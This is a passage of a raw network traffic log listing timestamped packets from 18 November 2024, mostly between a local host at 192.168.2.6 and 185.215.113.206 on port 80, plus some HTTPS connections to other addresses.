Nov 18, 2024 04:41:37.129370928 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129376888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129388094 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129399061 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129424095 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129425049 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129450083 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129481077 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129487991 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129501104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129547119 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129580021 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129590988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129607916 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129620075 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129626036 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129630089 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129642963 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129659891 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129671097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129688025 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129713058 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129722118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129731894 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129756927 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129766941 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129769087 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129810095 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129867077 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129880905 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129890919 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.129918098 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.129916906 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.129962921 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130036116 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130048037 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130059004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130072117 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130079985 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130105019 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130116940 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130129099 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130140066 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.130151033 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130151033 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.130182028 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130192995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130203009 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130214930 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130228043 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130239964 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130247116 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130251884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130283117 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130305052 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130346060 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130363941 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130376101 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130386114 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130397081 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130400896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130413055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130418062 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130426884 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130465031 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130486965 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130502939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130513906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130525112 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130537033 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130548000 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130587101 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130659103 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130670071 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130681992 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130693913 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130716085 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130750895 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130780935 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.130829096 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130841970 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130852938 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130867004 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130877972 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130882025 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130888939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130902052 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130908012 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130913019 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130928040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.130934000 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130961895 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.130986929 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.131082058 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.131098032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131110907 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131120920 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131127119 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131139994 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131145000 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.131151915 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131162882 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131162882 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.131167889 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.131167889 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.131175995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131206036 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.131239891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131246090 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.131252050 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131285906 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.131325006 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131331921 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.131339073 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131350040 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131362915 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131372929 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131383896 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131385088 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.131396055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.131419897 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.131438971 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.131808996 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.131979942 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.132019997 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.133702993 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.133774996 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.133866072 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.133933067 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.134088993 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.134258986 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.134346962 CET	443	49925	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:37.134393930 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.134476900 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.134562969 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.134571075 CET	443	49927	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.134682894 CET	49925	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:37.134704113 CET	443	49925	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:37.134846926 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.134855032 CET	443	49930	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.136236906 CET	443	49925	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:37.136301994 CET	49925	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:37.137245893 CET	49925	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:37.137330055 CET	443	49925	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:37.137375116 CET	49925	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:37.160707951 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.161036968 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.161156893 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.161190987 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.161197901 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.161210060 CET	49918	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.161214113 CET	443	49918	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.163333893 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.164788961 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.164824009 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.164916992 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.165106058 CET	49937	443	192.168.2.6	13.107.246.45
Nov 18, 2024 04:41:37.165115118 CET	443	49937	13.107.246.45	192.168.2.6
Nov 18, 2024 04:41:37.165313005 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.165323973 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.165380001 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.165421009 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.171350002 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.171359062 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.171370029 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.171417952 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.175299883 CET	443	49923	20.50.80.209	192.168.2.6
Nov 18, 2024 04:41:37.175553083 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:37.175563097 CET	443	49923	20.50.80.209	192.168.2.6
Nov 18, 2024 04:41:37.177022934 CET	443	49923	20.50.80.209	192.168.2.6
Nov 18, 2024 04:41:37.177109003 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:37.178100109 CET	49927	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.178183079 CET	49930	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.178374052 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:37.178453922 CET	443	49923	20.50.80.209	192.168.2.6
Nov 18, 2024 04:41:37.178627968 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:37.178637028 CET	443	49923	20.50.80.209	192.168.2.6
Nov 18, 2024 04:41:37.178706884 CET	49923	443	192.168.2.6	20.50.80.209
Nov 18, 2024 04:41:37.178719044 CET	443	49923	20.50.80.209	192.168.2.6
Nov 18, 2024 04:41:37.179335117 CET	443	49925	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:37.179342031 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.184643030 CET	49926	443	192.168.2.6	20.75.60.91
Nov 18, 2024 04:41:37.184653044 CET	443	49926	20.75.60.91	192.168.2.6
Nov 18, 2024 04:41:37.184663057 CET	49932	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.184669018 CET	443	49932	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.184669018 CET	49931	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.184684038 CET	49925	443	192.168.2.6	108.156.211.19
Nov 18, 2024 04:41:37.184693098 CET	443	49931	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.184694052 CET	443	49925	108.156.211.19	192.168.2.6
Nov 18, 2024 04:41:37.184710026 CET	49929	443	192.168.2.6	23.47.50.150
Nov 18, 2024 04:41:37.184720039 CET	443	49929	23.47.50.150	192.168.2.6
Nov 18, 2024 04:41:37.247894049 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.247905970 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.247917891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.247987032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.247998953 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248011112 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248023987 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248028040 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248060942 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248075008 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248075008 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248116016 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248120070 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248127937 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248156071 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248189926 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248191118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248203993 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248251915 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248276949 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248296022 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248308897 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248320103 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248326063 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248333931 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248343945 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248373985 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248399973 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248461962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248502970 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248507023 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248514891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248548031 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248564959 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248610020 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248657942 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248671055 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248682976 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248698950 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248702049 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248728991 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248755932 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248760939 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248773098 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248785973 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248816967 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248852968 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248927116 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248975992 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.248982906 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.248996019 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249038935 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249047995 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249061108 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249110937 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249334097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249366045 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249377012 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249388933 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249406099 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249428988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249430895 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249442101 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249454975 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249466896 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249495983 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249495983 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249506950 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249542952 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249547005 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249556065 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249573946 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249583960 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249587059 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249619007 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249651909 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249685049 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249696970 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249708891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249720097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249747992 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249789000 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249799967 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249800920 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249811888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249824047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249849081 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249893904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249893904 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.249907017 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249918938 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249931097 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.249960899 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250000954 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250006914 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250014067 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250025988 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250047922 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250066996 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250103951 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250117064 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250128031 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250138044 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250149965 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250160933 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250164032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250184059 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250219107 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250252962 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250264883 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250276089 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250294924 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250305891 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250305891 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250363111 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250390053 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250400066 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250408888 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250421047 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250432968 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250433922 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250444889 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250479937 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250514030 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250523090 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250533104 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250543118 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250550032 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250555038 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250561953 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250566006 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250595093 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250629902 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250690937 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250700951 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250710964 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250724077 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250735044 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250736952 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250749111 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250788927 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250818014 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250854015 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250865936 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250876904 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250888109 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250897884 CET	49833	80	192.168.2.6	185.215.113.206
Nov 18, 2024 04:41:37.250900030 CET	80	49833	185.215.113.206	192.168.2.6
Nov 18, 2024 04:41:37.250914097 CET	80	49833	185.215.113.206	192.168.2.6
